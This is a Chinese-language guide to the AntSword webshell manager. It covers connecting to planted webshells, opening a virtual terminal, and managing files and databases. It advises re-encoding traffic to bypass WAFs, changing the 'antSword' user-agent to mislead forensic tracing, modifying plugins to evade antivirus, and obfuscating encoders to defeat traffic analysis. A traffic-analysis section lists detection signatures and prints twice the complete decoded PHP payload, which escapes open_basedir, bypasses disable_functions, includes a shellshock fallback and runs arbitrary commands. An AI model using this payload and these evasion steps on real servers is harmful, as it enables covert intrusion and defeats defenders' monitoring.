使用

添加/编辑数据

页面空白处右键,选择添加数据。输入木马地址及密码,添加保存,或者选定想要修改的数据,右键修改数据

在添加和修改时都可以进行编码,修改编码相当于连接时修改了连接方式,这样就可以绕过WAF

修改添加时的请求包,请求体,可误导溯源方向,主要修改user-agen头,如果使用蚁剑连接,请求头非常明显,user-agent:antSword,这个时候想要攻击不被明显的发现就要修改这个请求头

虚拟终端

选择数据连接,右键虚拟终端,可以直接进入该数据服务器命令行,执行命令

文件管理

文件管理,直接查看服务器上的文件

数据操作

可以连接网站所使用的数据库,并执行sql语句

加载插件

使用再插件市场中已经安装好的插件

插件市场

蚁剑插件需要开启全局代理,或者配置VPN访问迅速

插件市场中,remote是未安装,local是已经安装的

蚁剑中的插件上传较久,容易被防护发现,可以查看插件的源码,通过修改一些内容,免杀

流量分析

流量特征

1、默认的 user-agent 请求头是 antsword ,content-Length有urlencode字段

2、蚁剑的正文内容用URL加密

3、正文解密后流量最中明显的特征为ini_set("display_errors","0");

4、响应包明文,响应体的内容为base64编码加混淆字符,格式为:随机数 结果 随机数

流量分析

在使用wireshark进行分析时,可以过滤http协议,并且过滤post方式,蚁剑采用post方式进行请求,

追踪http流,可以看到请求内容

default编码

以post的方式传入了三个参数,并取参数值的第三个字符开始的字符串进行base64解码。

123=@ini_set("display_errors", "0");
@set_time_limit(0);
//获取和处理open_basedir
$opdir=@ini_get("open_basedir");    
if($opdir) {             
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
   //创建临时目录
	foreach($oparr as $item) {    
		if(!@is_writable($item)) {
			continue;
		}
		;
		$tmdir=$item."/.4a400f19";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)) {
			continue;
		}
		$tmdir=realpath($tmdir);
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for ($i=0;$i<sizeof($cntarr);$i++) {
			@chdir("..");
		}
		;
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "9863"."22fe9";
	echo @asenc($output);
	echo "bfb"."3ba6";
}
ob_start();
try {
   //执行命令,接收参数
	$p=base64_decode(substr($_POST["mb15ce4fadb25d"],2));  //正确的内容是这个字符串去掉前两位
	$s=base64_decode(substr($_POST["s7c079558ec28f"],2));
	$envstr=@base64_decode(substr($_POST["ye516631e211db"],2));
	$d=dirname($_SERVER["SCRIPT_FILENAME"]);
	$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
	if(substr($d,0,1)=="/") {
		@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
	} else {
		@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
	}
	if(!empty($envstr)) {
		$envarr=explode("|||asline|||", $envstr);
		foreach($envarr as $v) {
			if (!empty($v)) {
				@putenv(str_replace("|||askey|||", "=", $v));
			}
		}
	}
	$r="{$p} {$c}";
	function fe($f) {
		$d=explode(",",@ini_get("disable_functions"));
		if(empty($d)) {
			$d=array();
		} else {
			$d=array_map('trim',array_map('strtolower',$d));
		}
		return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
	}
	;
	function runshellshock($d, $c) {
		if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
			if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
				$tmp = tempnam(sys_get_temp_dir(), 'as');
				putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
				if (fe('error_log')) {
					error_log("a", 1);
				} else {
					mail("a@127.0.0.1", "", "", "-bv");
				}
			} else {
				return False;
			}
			$output = @file_get_contents($tmp);
			@unlink($tmp);
			if ($output != "") {
				print($output);
				return True;
			}
		}
		return False;
	}
	;
	function runcmd($c) {
		$ret=0;
		$d=dirname($_SERVER["SCRIPT_FILENAME"]);
		if(fe('system')) {
			@system($c,$ret);
		} elseif(fe('passthru')) {
			@passthru($c,$ret);
		} elseif(fe('shell_exec')) {
			print(@shell_exec($c));
		} elseif(fe('exec')) {
			@exec($c,$o,$ret);
			print(join("
",$o));
		} elseif(fe('popen')) {
			$fp=@popen($c,'r');
			while(!@feof($fp)) {
				print(@fgets($fp,2048));
			}
			@pclose($fp);
		} elseif(fe('proc_open')) {
			$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
			while(!@feof($io[1])) {
				print(@fgets($io[1],2048));
			}
			while(!@feof($io[2])) {
				print(@fgets($io[2],2048));
			}
			@fclose($io[1]);
			@fclose($io[2]);
			@proc_close($p);
		} elseif(fe('antsystem')) {
			@antsystem($c);
		} elseif(runshellshock($d, $c)) {
			return $ret;
		} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
			$w=new COM('WScript.shell');
			$e=$w->exec($c);
			$so=$e->StdOut();
			$ret.=$so->ReadAll();
			$se=$e->StdErr();
			$ret.=$se->ReadAll();
			print($ret);
		} else {
			$ret = 127;
		}
		return $ret;
	}
	;
	$ret=@runcmd($r." 2>&1");
	print ($ret!=0)?"ret={$ret}":"";
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
&mb15ce4fadb25d=qML2Jpbi9zaA==&s7c079558ec28f=wjY2QgIi92YXIvd3d3L2h0bWwvdXBsb2FkIjtwd2Q7ZWNobyBlMjI1MDUwOThjYWU7cHdkO2VjaG8gYmVjMWU=&ye516631e211db=JO

&mb15ce4fadb25d=qML2Jpbi9zaA== &s7c079558ec28f=wjY2QgIi92YXIvd3d3L2h0bWwvdXBsb2FkIjtwd2Q7ZWNobyBlMjI1MDUwOThjYWU7cHdkO2VjaG8gYmVjMWU=&ye516631e211db=JO

将mb15ce4fadb25d的值qML2Jpbi9zaA== 去除前两位,进行base64解码后为/bin/sh

将s7c079558ec28f的值wjY2QgIi92YXIvd3d3L2h0bWwvdXBsb2FkIjtwd2Q7ZWNobyBlMjI1MDUwOThjYWU7cHdkO2VjaG8gYmVjMWU=&ye516631e211db=JO去除前两位,进行base64解码后为cd "/var/www/html/upload";pwd;echo e22505098cae;pwd;echo bec1e

base64编码

随机生成一个参数传入 base64 编码后的代码,密码参数的值是通过 POST 获取随机参数的值然后进行 base64 解码后使用 eval 执行。我们把参数值进行base64解码就可以得到执行的代码。

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split("/;|:/",$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)) {
			continue;
		}
		;
		$tmdir=$item."/.6a33b73913";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)) {
			continue;
		}
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for ($i=0;$i<sizeof($cntarr);$i++) {
			@chdir("..");
		}
		;
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
	return @base64_encode($out);
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "95"."44e";
	echo @asenc($output);
	echo "1911"."b6c9";
}
ob_start();
try {
	$p=base64_decode(substr($_POST["ka199f64875418"],2));
	$s=base64_decode(substr($_POST["n7573f80f63f59"],2));
	$envstr=@base64_decode(substr($_POST["w2b059d24e126c"],2));
	$d=dirname($_SERVER["SCRIPT_FILENAME"]);
	$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
	if(substr($d,0,1)=="/") {
		@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
	} else {
		@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
	}
	if(!empty($envstr)) {
		$envarr=explode("|||asline|||", $envstr);
		foreach($envarr as $v) {
			if (!empty($v)) {
				@putenv(str_replace("|||askey|||", "=", $v));
			}
		}
	}
	$r="{$p} {$c}";
	function fe($f) {
		$d=explode(",",@ini_get("disable_functions"));
		if(empty($d)) {
			$d=array();
		} else {
			$d=array_map('trim',array_map('strtolower',$d));
		}
		return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
	}
	;
	function runshellshock($d, $c) {
		if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
			if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
				$tmp = tempnam(sys_get_temp_dir(), 'as');
				putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
				if (fe('error_log')) {
					error_log("a", 1);
				} else {
					mail("a@127.0.0.1", "", "", "-bv");
				}
			} else {
				return False;
			}
			$output = @file_get_contents($tmp);
			@unlink($tmp);
			if ($output != "") {
				print($output);
				return True;
			}
		}
		return False;
	}
	;
	function runcmd($c) {
		$ret=0;
		$d=dirname($_SERVER["SCRIPT_FILENAME"]);
		if(fe('system')) {
			@system($c,$ret);
		} elseif(fe('passthru')) {
			@passthru($c,$ret);
		} elseif(fe('shell_exec')) {
			print(@shell_exec($c));
		} elseif(fe('exec')) {
			@exec($c,$o,$ret);
			print(join("
",$o));
		} elseif(fe('popen')) {
			$fp=@popen($c,'r');
			while(!@feof($fp)) {
				print(@fgets($fp,2048));
			}
			@pclose($fp);
		} elseif(fe('proc_open')) {
			$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
			while(!@feof($io[1])) {
				print(@fgets($io[1],2048));
			}
			while(!@feof($io[2])) {
				print(@fgets($io[2],2048));
			}
			@fclose($io[1]);
			@fclose($io[2]);
			@proc_close($p);
		} elseif(fe('antsystem')) {
			@antsystem($c);
		} elseif(runshellshock($d, $c)) {
			return $ret;
		} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
			$w=new COM('WScript.shell');
			$e=$w->exec($c);
			$so=$e->StdOut();
			$ret.=$so->ReadAll();
			$se=$e->StdErr();
			$ret.=$se->ReadAll();
			print($ret);
		} else {
			$ret = 127;
		}
		return $ret;
	}
	;
	$ret=@runcmd($r." 2>&1");
	print ($ret!=0)?"ret={$ret}":"";
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

分析如上,通过代码查看使用什么方式,逆推进行解码

base64的蚁剑响应包中返回的数据使用base64编码。蚁剑的返回的数据采用base64编码时有点不一样,即返回的数据格式为:随机数 编码后数据 随机数

由于采用的是base64编码,所以=后面的是插入的随机数

因此这里可以尝试把=前面的字符串放到base64在线解码器,逐个地删除开头的字符进行解码测试,就可以得到解码后的数据

chr编码

chr编码就是把字符转换成了CHR(ASCII码),使用chr编码的时候,使用了 @eval()函数,对函数内的每一个字符进行了chr编码,写个脚本解码就可以得到字符串内容。

向上面一样分析解码后的代码

chr16编码

chr16编码与chr编码查不多,不同的地方在于chr编码中的ASCII值是十进制,chr16编码中的ASCII值是十六进制

rot13编码和解码

POST请求中rot13编码方式,也是使用了@eval()函数,然后对post传的传输进行了rot13编码

对请求体进行URL解码和代码格式化后,rot13编码的参数是一个函数。

想要更好地绕过流量分析检测可以加入混淆代码、改造编解码器进行混淆流量包内容